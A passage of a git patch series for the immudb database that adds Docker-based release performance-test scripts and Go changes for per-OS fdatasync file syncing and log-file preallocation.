+ immudb-sync-replica: + container_name: immudb-sync-replica + image: immudb-perftest + command: ["syncreplica"] + + immudb-tools-kv: + container_name: immudb-tools + image: immudb-tools + entrypoint: + - "/usr/local/bin/stresser2" + + immudb-tools-sql: + container_name: immudb-tools + image: immudb-tools + entrypoint: + - "/usr/local/bin/paralsql" + + immudb-tools-web-api: + container_name: immudb-tools + image: immudb-tools + working_dir: "/usr/local/immudb-tools/test-web-api/" + entrypoint: ['python', 'main.py'] diff --git a/test/release_perf_test/doctest.sh b/test/release_perf_test/doctest.sh new file mode 100755 index 0000000000..ee26cc60ae --- /dev/null +++ b/test/release_perf_test/doctest.sh @@ -0,0 +1,4 @@ +#!/bin/sh +docker-compose build immudb-perftest immudb-tools +docker-compose up -d immudb-standalone +docker-compose run immudb-tools-web-api -b http://immudb-standalone:8080 --duration 10 -w 1 -s 1 diff --git a/test/release_perf_test/runme.sh b/test/release_perf_test/runme.sh new file mode 100755 index 0000000000..9f1e823665 --- /dev/null +++ b/test/release_perf_test/runme.sh @@ -0,0 +1,178 @@ +#!/bin/bash + +DURATION=600 +BUILD=1 +DOCTEST=1 +SQLTEST=1 +KVTEST=1 + +while getopts "hd:DQKB" arg; do + case $arg in + d) + DURATION=$OPTARG + ;; + B) + unset BUILD + ;; + D) + unset DOCKTEST + ;; + Q) + unset SQLTEST + ;; + K) + unset KVTEST + ;; + h | *) + echo "Usage:" + echo "$0 [ -d duration ] [ -B ] [ -D ] [ -Q ] [ -K ]" + echo " -d duration: duration of each test in seconds" + echo " -B (nobuild): skip building of containers" + echo " -D (nodocument): skip document test" + echo " -Q (nosql): skip sql test" + echo " -K (nokv): skip KV test" + exit 1 + ;; + esac +done + +if [ $BUILD ] +then +docker-compose build immudb-perftest immudb-tools +fi +CSV_LINES=( 'test,client,batchsize,replication,Write TX/s,Write KV/s' ) + + +function print_result() { + local REPL=$1 + shift + local STATS=("$@") + # print resulting table + IDX=0 + echo "#---" + echo "clients batchsize repl. Write TX/s Write KV/s" + for BATCHSIZE in 1 100 1000 + do + for WORKERS in 1 10 100 + do + TXS=${STATS[IDX]} + echo "$WORKERS $BATCHSIZE $REPL $TXS $((TXS*BATCHSIZE))" + IDX=$((IDX+1)) + done +done +} + +function test_matrix_kv() { + SRV=$1 + ADDR=$2 + REPL=$3 + STATS=() + > /tmp/runme.log + for BATCHSIZE in 1 100 1000 + do + for WORKERS in 1 10 100 + do + echo "BATCHSIZE $BATCHSIZE WORKERS $WORKERS REPL $REPL" | tee -a /tmp/runme.log + docker-compose up -d $SRV + sleep 5 + docker-compose run immudb-tools-kv \ + -addr $ADDR -db perf -duration $DURATION \ + -read-workers 0 -read-batchsize 0 -write-speed 0 \ + -write-workers $WORKERS -write-batchsize $BATCHSIZE \ + -silent -summary 2>&1 | tee -a /tmp/runme.log + TXS=$(tail -n1 /tmp/runme.log|grep -F "TOTAL WRITE"|grep -Eo '[0-9]+ Txs/s'|cut -d ' ' -f 1) + STATS+=( $TXS ) + CSVLINE="kv;$WORKERS;$BATCHSIZE;$REPL;$TXS;$((TXS*BATCHSIZE))" + CSV_LINES+=( $CSVLINE ) + echo "TXS: $TXS, STATS: ${STATS[*]}" + docker-compose down --timeout 2 + done + done + print_result "$REPL" "${STATS[@]}" +} + +function test_matrix_sql() { + SRV=$1 + ADDR=$2 + REPL=$3 + STATS=() + > /tmp/runme.log + for BATCHSIZE in 1 100 1000 + do + for WORKERS in 1 10 100 + do + echo "BATCHSIZE $BATCHSIZE WORKERS $WORKERS REPL $REPL" | tee -a /tmp/runme.log + docker-compose up -d $SRV + sleep 5 + docker-compose run immudb-tools-sql \ + -addr $ADDR -db perf -duration $DURATION \ + -workers $WORKERS -txsize 1 -insert-size $BATCHSIZE \ + 2>&1 | tee -a /tmp/runme.log + WRS=$(tail -n1 /tmp/runme.log|grep -F "Total Writes"|grep -Eo '[0-9.]+ writes/s'|cut -d ' ' -f 1) + TXS=$(tail -n1 /tmp/runme.log|awk "/Total Writes/{print \$9/$BATCHSIZE}") + TRUNC_TRS=$(echo $WRS|grep -Eo '^[0-9]+') + STATS+=( $TRUNC_TRS ) + CSVLINE="sql;$WORKERS;$BATCHSIZE;$REPL;$TXS;$WRS" + CSV_LINES+=( $CSVLINE ) + echo "TXS: $TXS, WRS: $WRS, STATS: ${STATS[*]}" + docker-compose down --timeout 2 + done + done + print_result "$REPL" "${STATS[@]}" +} + +function test_matrix_doc() { + SRV=$1 + ADDR=$2 + REPL=$3 + STATS=() + > /tmp/runme.log + for BATCHSIZE in 1 100 1000 + do + for WORKERS in 1 10 100 + do + echo "BATCHSIZE $BATCHSIZE WORKERS $WORKERS REPL $REPL" | tee -a /tmp/runme.log + docker-compose up -d $SRV + sleep 5 + docker-compose run immudb-tools-web-api \ + -b http://$ADDR:8080 --duration $DURATION -db perf \ + -w $WORKERS -s $BATCHSIZE \ + 2>&1 | tee -a /tmp/runme.log + TX=$(awk '/TX:/{print $7}' /tmp/runme.log | tail -n 1) + TXS=$((TX/DURATION)) + WRS=$((TX*BATCHSIZE/DURATION)) + STATS+=( $TXS ) + CSVLINE="doc;$WORKERS;$BATCHSIZE;$REPL;$TXS;$WRS" + CSV_LINES+=( $CSVLINE ) + echo "TXS: $TXS, WRS: $WRS, STATS: ${STATS[*]}" + docker-compose down --timeout 2 + done + done + print_result "$REPL" "${STATS[@]}" +} +if [ $KVTEST ] +then +test_matrix_kv "immudb-standalone" "immudb-standalone" "no" +test_matrix_kv "immudb-async-main immudb-async-replica" "immudb-async-main" "async" +test_matrix_kv "immudb-sync-main immudb-sync-replica" "immudb-sync-main" "sync" +fi + +if [ $SQLTEST ] +then +test_matrix_sql "immudb-standalone" "immudb-standalone" "no" +test_matrix_sql "immudb-async-main immudb-async-replica" "immudb-async-main" "async" +# FIXME sql + sync is currently broken +#test_matrix_sql "immudb-sync-main immudb-sync-replica" "immudb-sync-main" "sync" +fi + +if [ $DOCTEST ] +then +test_matrix_doc "immudb-standalone" "immudb-standalone" "no" +test_matrix_doc "immudb-async-main immudb-async-replica" "immudb-async-main" "async" +test_matrix_doc "immudb-sync-main immudb-sync-replica" "immudb-sync-main" "sync" +fi + +printf '%s\n' "${CSV_LINES[@]}" +printf '%s\n' "${CSV_LINES[@]}" > result.csv + + diff --git a/test/release_perf_test/startup.sh b/test/release_perf_test/startup.sh new file mode 100755 index 0000000000..e3ed575909 --- /dev/null +++ b/test/release_perf_test/startup.sh @@ -0,0 +1,79 @@ +#!/bin/sh +IMMUDB=/usr/local/bin/immudb +IMMUADMIN=/usr/local/bin/immuadmin + +if [ -z "$1" ] +then +MODE="standalone" +else +MODE=$1 +fi + +echo "Startup mode '$MODE'" + +case $MODE in + standalone) + ( + sleep 3 + echo -n immudb | $IMMUADMIN login immudb + $IMMUADMIN database create perf --max-commit-concurrency 120 + ) & + $IMMUDB --dir /var/lib/immudb --web-server + ;; + + asyncmain) + ( + sleep 3 + echo -n immudb | $IMMUADMIN login immudb + $IMMUADMIN database create perf --max-commit-concurrency 120 + ) & + $IMMUDB --dir /var/lib/immudb --max-sessions 120 --web-server + ;; + asyncreplica) + ( + sleep 3 + echo -n immudb | $IMMUADMIN login immudb + $IMMUADMIN database create perf \ + --max-commit-concurrency 120 \ + --replication-is-replica \ + --replication-primary-database perf \ + --replication-primary-host immudb-async-main \ + --replication-primary-password immudb \ + --replication-primary-port 3322 \ + --replication-primary-username immudb + ) & + $IMMUDB --dir /var/lib/immudb --web-server + ;; + + syncmain) + ( + sleep 3 + echo -n immudb | $IMMUADMIN login immudb + $IMMUADMIN database create perf --max-commit-concurrency 120 \ + --replication-sync-enabled \ + --replication-sync-acks 1 + ) & + $IMMUDB --dir /var/lib/immudb --max-sessions 120 + ;; + syncreplica) + ( + sleep 3 + echo -n immudb | $IMMUADMIN login immudb + $IMMUADMIN database create perf \ + --max-commit-concurrency 120 \ + --replication-sync-enabled \ + --replication-is-replica \ + --replication-primary-database perf \ + --replication-primary-host immudb-sync-main \ + --replication-primary-password immudb \ + --replication-primary-port 3322 \ + --replication-primary-username immudb + ) & + $IMMUDB --dir /var/lib/immudb + ;; + *) + echo "Wrong startup mode ($MODE)" + exit 1 + ;; +esac + From e46241a7ef401df3e5b8af6770fd4c706df1fdf5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 6 Jun 2023 15:49:05 -0300 Subject: [PATCH 0597/1062] chore(embedded/appendable): minor improvements reading files Signed-off-by: Jeronimo Irazabal --- embedded/appendable/multiapp/multi_app.go | 28 ++++++++++++----------- 1 file changed, 15 insertions(+), 13 deletions(-) diff --git a/embedded/appendable/multiapp/multi_app.go b/embedded/appendable/multiapp/multi_app.go index 9c1ea5adf6..08127d15ce 100644 --- a/embedded/appendable/multiapp/multi_app.go +++ b/embedded/appendable/multiapp/multi_app.go @@ -20,7 +20,6 @@ import ( "errors" "fmt" "io" - "io/ioutil" "os" "path" "path/filepath" @@ -63,21 +62,20 @@ type DefaultMultiFileAppendableHooks struct { } func (d *DefaultMultiFileAppendableHooks) OpenInitialAppendable(opts *Options, singleAppOpts *singleapp.Options) (app appendable.Appendable, appID int64, err error) { - fis, err := ioutil.ReadDir(d.path) + entries, err := os.ReadDir(d.path) if err != nil { return nil, 0, err } var filename string - if len(fis) > 0 { - filename = fis[len(fis)-1].Name() + if len(entries) > 0 { + filename = entries[len(entries)-1].Name() appID, err = strconv.ParseInt(strings.TrimSuffix(filename, filepath.Ext(filename)), 10, 64) if err != nil { return nil, 0, err } - } else { appID = 0 filename = appendableName(appendableID(0, opts.fileSize), opts.fileExt) @@ -230,13 +228,13 @@ func (mf *MultiFileAppendable) Copy(dstPath string) error { return err } - fis, err := ioutil.ReadDir(mf.path) + entries, err := os.ReadDir(mf.path) if err != nil { return err } - for _, fd := range fis { - _, err = copyFile(path.Join(mf.path, fd.Name()), path.Join(dstPath, fd.Name())) + for _, e := range entries { + _, err = copyFile(path.Join(mf.path, e.Name()), path.Join(dstPath, e.Name())) if err != nil { return err } @@ -343,10 +341,14 @@ func (mf *MultiFileAppendable) Append(bs []byte) (off int64, n int, err error) { if err != nil { return off, n, err } - currApp.SetOffset(0) mf.currApp = currApp + err = currApp.SetOffset(0) + if err != nil { + return off, n, err + } + available = mf.fileSize } @@ -436,7 +438,7 @@ func (mf *MultiFileAppendable) SetOffset(off int64) error { // We also must flush / close current chunk since it will be reopened. for id := appID; id < mf.currAppID; id++ { app, err := mf.appendables.Pop(id) - if err == cache.ErrKeyNotFound { + if errors.Is(err, cache.ErrKeyNotFound) { continue } if err != nil { @@ -532,7 +534,7 @@ func (mf *MultiFileAppendable) appendableFor(off int64) (appendable.Appendable, app, err := mf.appendables.Get(appID) if err != nil { - if err != cache.ErrKeyNotFound { + if !errors.Is(err, cache.ErrKeyNotFound) { return nil, err } @@ -584,7 +586,7 @@ func (mf *MultiFileAppendable) ReadAt(bs []byte, off int64) (int, error) { rn, err := app.ReadAt(bs[r:], offr%int64(mf.fileSize)) r += rn - if err == io.EOF && rn > 0 { + if errors.Is(err, io.EOF) && rn > 0 { continue } @@ -655,7 +657,7 @@ func (mf *MultiFileAppendable) Sync() error { func (mf *MultiFileAppendable) sync() error { // sync is only needed in the current appendable: - // - with retryable sync, non-active appendables were alredy synced + // - with retryable sync, non-active appendables were already synced // - with non-retryable sync, data may be lost in previous flush or sync calls return mf.currApp.Sync() } From 97a1fb731218c653c6a3a09448c2075b54f03c18 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 7 Jun 2023 16:22:00 -0300 Subject: [PATCH 0598/1062] chore(embedded/appendable): file syncing using fdatasync when available Signed-off-by: Jeronimo Irazabal --- embedded/appendable/fileutils/fileutils.go | 8 ++++- .../appendable/fileutils/fileutils_freebsd.go | 32 +++++++++++++++++++ .../appendable/fileutils/fileutils_linux.go | 32 +++++++++++++++++++ .../appendable/fileutils/fileutils_unix.go | 9 +++--- .../appendable/fileutils/fileutils_windows.go | 9 +++--- 5 files changed, 81 insertions(+), 9 deletions(-) create mode 100644 embedded/appendable/fileutils/fileutils_freebsd.go create mode 100644 embedded/appendable/fileutils/fileutils_linux.go diff --git a/embedded/appendable/fileutils/fileutils.go b/embedded/appendable/fileutils/fileutils.go index a6a337975c..79ad9550af 100644 --- a/embedded/appendable/fileutils/fileutils.go +++ b/embedded/appendable/fileutils/fileutils.go @@ -1,5 +1,5 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2023 Codenotary Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. @@ -16,6 +16,8 @@ limitations under the License. package fileutils +import "os" + func SyncDir(paths ...string) error { for _, path := range paths { err := syncDir(path) @@ -25,3 +27,7 @@ func SyncDir(paths ...string) error { } return nil } + +func SyncFile(f *os.File) error { + return syncFile(f) +} diff --git a/embedded/appendable/fileutils/fileutils_freebsd.go b/embedded/appendable/fileutils/fileutils_freebsd.go new file mode 100644 index 0000000000..3f53fddbf7 --- /dev/null +++ b/embedded/appendable/fileutils/fileutils_freebsd.go @@ -0,0 +1,32 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package fileutils + +func syncDir(path string) error { + f, err := os.Open(path) + if err != nil { + return err + } + + defer f.Close() + + return f.Sync() +} + +func syncFile(f *os.File) error { + return f.Sync() +} diff --git a/embedded/appendable/fileutils/fileutils_linux.go b/embedded/appendable/fileutils/fileutils_linux.go new file mode 100644 index 0000000000..2145a2c364 --- /dev/null +++ b/embedded/appendable/fileutils/fileutils_linux.go @@ -0,0 +1,32 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package fileutils + +func syncDir(path string) error { + f, err := os.Open(path) + if err != nil { + return err + } + + defer f.Close() + + return f.Sync() +} + +func syncFile(f *os.File) error { + return syscall.Fdatasync(f.Fd()) +} diff --git a/embedded/appendable/fileutils/fileutils_unix.go b/embedded/appendable/fileutils/fileutils_unix.go index cce124d5ae..57a77f4780 100644 --- a/embedded/appendable/fileutils/fileutils_unix.go +++ b/embedded/appendable/fileutils/fileutils_unix.go @@ -1,8 +1,5 @@ -//go:build !windows -// +build !windows - /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2023 Codenotary Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. @@ -31,3 +28,7 @@ func syncDir(path string) error { return f.Sync() } + +func syncFile(f *os.File) error { + return f.Sync() +} diff --git a/embedded/appendable/fileutils/fileutils_windows.go b/embedded/appendable/fileutils/fileutils_windows.go index 28d836494f..0be0a1b4b9 100644 --- a/embedded/appendable/fileutils/fileutils_windows.go +++ b/embedded/appendable/fileutils/fileutils_windows.go @@ -1,8 +1,5 @@ -//go:build windows -// +build windows - /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2023 Codenotary Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. @@ -22,3 +19,7 @@ package fileutils func syncDir(path string) error { return nil } + +func syncFile(f *os.File) error { + return f.Sync() +} From af0f18f17e50d689421aed4610f137700bc1813c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 7 Jun 2023 16:22:51 -0300 Subject: [PATCH 0599/1062] chore(embedded/appendable): support file preallocation Signed-off-by: Jeronimo Irazabal --- embedded/appendable/multiapp/multi_app.go | 10 ++++++++ embedded/appendable/multiapp/options.go | 10 ++++++++ embedded/appendable/singleapp/options.go | 15 ++++++++++++ embedded/appendable/singleapp/single_app.go | 27 ++++++++++++++++++++- 4 files changed, 61 insertions(+), 1 deletion(-) diff --git a/embedded/appendable/multiapp/multi_app.go b/embedded/appendable/multiapp/multi_app.go index 08127d15ce..71ce5e3cc5 100644 --- a/embedded/appendable/multiapp/multi_app.go +++ b/embedded/appendable/multiapp/multi_app.go @@ -107,6 +107,7 @@ type MultiFileAppendable struct { fileSize int fileExt string readBufferSize int + prealloc bool writeBuffer []byte // shared write-buffer only used by active appendable @@ -170,6 +171,10 @@ func OpenWithHooks(path string, hooks MultiFileAppendableHooks, opts *Options) ( WithWriteBuffer(writeBuffer). WithMetadata(m.Bytes()) + if opts.prealloc { + appendableOpts.WithPreallocSize(opts.fileSize) + } + currApp, currAppID, err := hooks.OpenInitialAppendable(opts, appendableOpts) if err != nil { return nil, err @@ -194,6 +199,7 @@ func OpenWithHooks(path string, hooks MultiFileAppendableHooks, opts *Options) ( fileSize: fileSize, fileExt: opts.fileExt, readBufferSize: opts.readBufferSize, + prealloc: opts.prealloc, writeBuffer: writeBuffer, closed: false, hooks: hooks, @@ -386,6 +392,10 @@ func (mf *MultiFileAppendable) openAppendable(appname string, activeChunk bool) WithCompresionLevel(mf.currApp.CompressionLevel()). WithMetadata(mf.currApp.Metadata()) + if mf.prealloc { + appendableOpts.WithPreallocSize(mf.fileSize) + } + if activeChunk && !mf.readOnly { appendableOpts.WithWriteBuffer(mf.writeBuffer) } diff --git a/embedded/appendable/multiapp/options.go b/embedded/appendable/multiapp/options.go index 8b3915e737..adeccb5795 100644 --- a/embedded/appendable/multiapp/options.go +++ b/embedded/appendable/multiapp/options.go @@ -41,6 +41,7 @@ type Options struct { fileMode os.FileMode fileSize int + prealloc bool fileExt string metadata []byte maxOpenedFiles int @@ -152,6 +153,11 @@ func (opts *Options) WithWriteBufferSize(size int) *Options { return opts } +func (opts *Options) WithPrealloc(prealloc bool) *Options { + opts.prealloc = prealloc + return opts +} + func (opt *Options) GetFileExt() string { return opt.fileExt } @@ -167,3 +173,7 @@ func (opts *Options) GetReadBufferSize() int { func (opts *Options) GetWriteBufferSize() int { return opts.writeBufferSize } + +func (opts *Options) GetPrealloc() bool { + return opts.prealloc +} diff --git a/embedded/appendable/singleapp/options.go b/embedded/appendable/singleapp/options.go index c620c9f12c..7a0acabe06 100644 --- a/embedded/appendable/singleapp/options.go +++ b/embedded/appendable/singleapp/options.go @@ -42,6 +42,8 @@ type Options struct { compressionFormat int compressionLevel int + preallocSize int + metadata []byte } @@ -71,6 +73,10 @@ func (opts *Options) Validate() error { return fmt.Errorf("%w: invalid writeBuffer", ErrInvalidOptions) } + if opts.preallocSize < 0 { + return fmt.Errorf("%w: invalid preallocSize", ErrInvalidOptions) + } + return nil } @@ -99,6 +105,11 @@ func (opts *Options) WithCompressionFormat(compressionFormat int) *Options { return opts } +func (opts *Options) WithPreallocSize(preallocSize int) *Options { + opts.preallocSize = preallocSize + return opts +} + func (opts *Options) GetCompressionFormat() int { return opts.compressionFormat } @@ -111,6 +122,10 @@ func (opts *Options) GetReadBufferSize() int { return opts.readBufferSize } +func (opts *Options) GetPreallocSize() int { + return opts.preallocSize +} + func (opts *Options) GetWriteBuffer() []byte { return opts.writeBuffer } diff --git a/embedded/appendable/singleapp/single_app.go b/embedded/appendable/singleapp/single_app.go index 5426ae713c..fbffeaae63 100644 --- a/embedded/appendable/singleapp/single_app.go +++ b/embedded/appendable/singleapp/single_app.go @@ -45,6 +45,7 @@ var ErrBufferFull = errors.New("singleapp: buffer full") var ErrNegativeOffset = errors.New("singleapp: negative offset") const ( + metaPreallocSize = "PREALLOC_SIZE" metaCompressionFormat = "COMPRESSION_FORMAT" metaCompressionLevel = "COMPRESSION_LEVEL" metaWrappedMeta = "WRAPPED_METADATA" @@ -70,6 +71,8 @@ type AppendableFile struct { compressionFormat int compressionLevel int + preallocSize int + metadata []byte closed bool @@ -108,8 +111,11 @@ func Open(fileName string, opts *Options) (*AppendableFile, error) { var compressionLevel int var fileBaseOffset int64 + var preallocSize int + if notExist { m := appendable.NewMetadata(nil) + m.PutInt(metaPreallocSize, opts.preallocSize) m.PutInt(metaCompressionFormat, opts.compressionFormat) m.PutInt(metaCompressionLevel, opts.compressionLevel) m.Put(metaWrappedMeta, opts.metadata) @@ -130,6 +136,18 @@ func Open(fileName string, opts *Options) (*AppendableFile, error) { return nil, err } + preallocBs := make([]byte, 4096) + preallocated := 0 + + for preallocated < opts.preallocSize { + n, err := w.Write(preallocBs[:minInt(len(preallocBs), opts.preallocSize-preallocated)]) + if err != nil { + return nil, err + } + + preallocated += n + } + err = w.Flush() if err != nil { return nil, err @@ -145,6 +163,7 @@ func Open(fileName string, opts *Options) (*AppendableFile, error) { return nil, err } + preallocSize = opts.preallocSize compressionFormat = opts.compressionFormat compressionLevel = opts.compressionLevel metadata = opts.metadata @@ -167,6 +186,11 @@ func Open(fileName string, opts *Options) (*AppendableFile, error) { m := appendable.NewMetadata(mBs) + preallocSz, ok := m.GetInt(metaCompressionFormat) + if ok { + preallocSize = preallocSz + } + cf, ok := m.GetInt(metaCompressionFormat) if !ok { return nil, ErrCorruptedMetadata @@ -200,6 +224,7 @@ func Open(fileName string, opts *Options) (*AppendableFile, error) { readBufferSize: opts.readBufferSize, compressionFormat: compressionFormat, compressionLevel: compressionLevel, + preallocSize: preallocSize, metadata: metadata, readOnly: opts.readOnly, retryableSync: opts.retryableSync, @@ -654,7 +679,7 @@ func (aof *AppendableFile) sync() error { return err } - err = aof.f.Sync() + err = fileutils.SyncFile(aof.f) if !aof.retryableSync { return err } From eb5f7c7a8c5e9f32fededff6567693debfb75b26 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 7 Jun 2023 16:23:26 -0300 Subject: [PATCH 0600/1062] chore(embedded/store): preallocate tx header log files Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 2fb4104dbe..f037e75351 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -263,6 +263,7 @@ func Open(path string, opts *Options) (*ImmuStore, error) { } appendableOpts.WithFileExt("tx") + appendableOpts.WithPrealloc(true) appendableOpts.WithCompressionFormat(appendable.NoCompression) appendableOpts.WithMaxOpenedFiles(opts.TxLogMaxOpenedFiles) txLog, err := appFactory(path, "tx", appendableOpts) @@ -271,12 +272,12 @@ func Open(path string, opts *Options) (*ImmuStore, error) { } appendableOpts.WithFileExt("txi") + appendableOpts.WithPrealloc(false) appendableOpts.WithCompressionFormat(appendable.NoCompression) appendableOpts.WithMaxOpenedFiles(opts.CommitLogMaxOpenedFiles) cLog, err := appFactory(path, "commit", appendableOpts) if err != nil { return nil, fmt.Errorf("unable to open commit log: %w", err) - } metadata = appendable.NewMetadata(cLog.Metadata()) @@ -291,6 +292,7 @@ func Open(path string, opts *Options) (*ImmuStore, error) { if !embeddedValues { vLogs = make([]appendable.Appendable, opts.MaxIOConcurrency) appendableOpts.WithFileExt("val") + appendableOpts.WithPrealloc(false) appendableOpts.WithCompressionFormat(opts.CompressionFormat) appendableOpts.WithCompresionLevel(opts.CompressionLevel) appendableOpts.WithMaxOpenedFiles(opts.VLogMaxOpenedFiles) From a4330c92d2adb43e3d87f25d0ea48f4957084e1e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 7 Jun 2023 16:52:02 -0300 Subject: [PATCH 0601/1062] chore(embedded/appendable): file syncing per os Signed-off-by: Jeronimo Irazabal chore(embedded/appendable): file syncing per os Signed-off-by: Jeronimo Irazabal chore(embedded/appendable): file syncing per os Signed-off-by: Jeronimo Irazabal --- .../{fileutils_unix.go => fileutils_darwin.go} | 3 +++ embedded/appendable/fileutils/fileutils_linux.go | 11 ++++++++++- ...ileutils_freebsd.go => fileutils_unix_nonlinux.go} | 5 +++++ embedded/appendable/fileutils/fileutils_windows.go | 5 +++++ 4 files changed, 23 insertions(+), 1 deletion(-) rename embedded/appendable/fileutils/{fileutils_unix.go => fileutils_darwin.go} (95%) rename embedded/appendable/fileutils/{fileutils_freebsd.go => fileutils_unix_nonlinux.go} (90%) diff --git a/embedded/appendable/fileutils/fileutils_unix.go b/embedded/appendable/fileutils/fileutils_darwin.go similarity index 95% rename from embedded/appendable/fileutils/fileutils_unix.go rename to embedded/appendable/fileutils/fileutils_darwin.go index 57a77f4780..24ec7bec0a 100644 --- a/embedded/appendable/fileutils/fileutils_unix.go +++ b/embedded/appendable/fileutils/fileutils_darwin.go @@ -1,3 +1,6 @@ +//go:build darwin +// +build darwin + /* Copyright 2023 Codenotary Inc. All rights reserved. diff --git a/embedded/appendable/fileutils/fileutils_linux.go b/embedded/appendable/fileutils/fileutils_linux.go index 2145a2c364..3b865f0beb 100644 --- a/embedded/appendable/fileutils/fileutils_linux.go +++ b/embedded/appendable/fileutils/fileutils_linux.go @@ -1,7 +1,11 @@ +//go:build linux +// +build linux + /* Copyright 2023 Codenotary Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. You may obtain a copy of the License at @@ -16,6 +20,11 @@ limitations under the License. package fileutils +import ( + "os" + "syscall" +) + func syncDir(path string) error { f, err := os.Open(path) if err != nil { @@ -28,5 +37,5 @@ func syncDir(path string) error { } func syncFile(f *os.File) error { - return syscall.Fdatasync(f.Fd()) + return syscall.Fdatasync(int(f.Fd())) } diff --git a/embedded/appendable/fileutils/fileutils_freebsd.go b/embedded/appendable/fileutils/fileutils_unix_nonlinux.go similarity index 90% rename from embedded/appendable/fileutils/fileutils_freebsd.go rename to embedded/appendable/fileutils/fileutils_unix_nonlinux.go index 3f53fddbf7..35e4aa3de0 100644 --- a/embedded/appendable/fileutils/fileutils_freebsd.go +++ b/embedded/appendable/fileutils/fileutils_unix_nonlinux.go @@ -1,3 +1,6 @@ +//go:build unix && !linux && !darwin +// +build unix,!linux,!darwin + /* Copyright 2023 Codenotary Inc. All rights reserved. @@ -16,6 +19,8 @@ limitations under the License. package fileutils +import "os" + func syncDir(path string) error { f, err := os.Open(path) if err != nil { diff --git a/embedded/appendable/fileutils/fileutils_windows.go b/embedded/appendable/fileutils/fileutils_windows.go index 0be0a1b4b9..ab426b76d9 100644 --- a/embedded/appendable/fileutils/fileutils_windows.go +++ b/embedded/appendable/fileutils/fileutils_windows.go @@ -1,3 +1,6 @@ +//go:build windows +// +build windows + /* Copyright 2023 Codenotary Inc. All rights reserved. @@ -16,6 +19,8 @@ limitations under the License. package fileutils +import "os" + func syncDir(path string) error { return nil } From 8502525641dd7bbbedaff5fa4fe4ee344e339df7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 8 Jun 2023 09:50:13 -0300 Subject: [PATCH 0602/1062] test(embedded/appendable): adjust remote appendable test case Signed-off-by: Jeronimo Irazabal --- embedded/appendable/remoteapp/remote_app_test.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/appendable/remoteapp/remote_app_test.go b/embedded/appendable/remoteapp/remote_app_test.go index 99e3b8fc11..df10b95ad2 100644 --- a/embedded/appendable/remoteapp/remote_app_test.go +++ b/embedded/appendable/remoteapp/remote_app_test.go @@ -366,8 +366,8 @@ func TestRemoteStorageMetrics(t *testing.T) { expectedCount int expectedStorage int }{ - {"Active", 1, 169}, - {"Remote", 4, 4 * 170}, + {"Active", 1, 198}, + {"Remote", 4, 4 * 199}, {"Uploading", 0, 0}, } { t.Run("Checking count for "+d.state, func(t *testing.T) { From ae1b5ce241f515aed862ad162f97f5465b70d043 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 8 Jun 2023 10:26:49 -0300 Subject: [PATCH 0603/1062] chore(embedded/appendable): use fdatasync when file is preallocated Signed-off-by: Jeronimo Irazabal --- embedded/appendable/fileutils/fileutils.go | 4 ++-- embedded/appendable/fileutils/fileutils_darwin.go | 2 +- embedded/appendable/fileutils/fileutils_linux.go | 2 +- embedded/appendable/fileutils/fileutils_unix_nonlinux.go | 2 +- embedded/appendable/fileutils/fileutils_windows.go | 2 +- embedded/appendable/singleapp/single_app.go | 7 ++++++- 6 files changed, 12 insertions(+), 7 deletions(-) diff --git a/embedded/appendable/fileutils/fileutils.go b/embedded/appendable/fileutils/fileutils.go index 79ad9550af..a2b0346a58 100644 --- a/embedded/appendable/fileutils/fileutils.go +++ b/embedded/appendable/fileutils/fileutils.go @@ -28,6 +28,6 @@ func SyncDir(paths ...string) error { return nil } -func SyncFile(f *os.File) error { - return syncFile(f) +func Fdatasync(f *os.File) error { + return fdatasync(f) } diff --git a/embedded/appendable/fileutils/fileutils_darwin.go b/embedded/appendable/fileutils/fileutils_darwin.go index 24ec7bec0a..ffc1a2f0af 100644 --- a/embedded/appendable/fileutils/fileutils_darwin.go +++ b/embedded/appendable/fileutils/fileutils_darwin.go @@ -32,6 +32,6 @@ func syncDir(path string) error { return f.Sync() } -func syncFile(f *os.File) error { +func fdatasync(f *os.File) error { return f.Sync() } diff --git a/embedded/appendable/fileutils/fileutils_linux.go b/embedded/appendable/fileutils/fileutils_linux.go index 3b865f0beb..22cb96e178 100644 --- a/embedded/appendable/fileutils/fileutils_linux.go +++ b/embedded/appendable/fileutils/fileutils_linux.go @@ -36,6 +36,6 @@ func syncDir(path string) error { return f.Sync() } -func syncFile(f *os.File) error { +func fdatasync(f *os.File) error { return 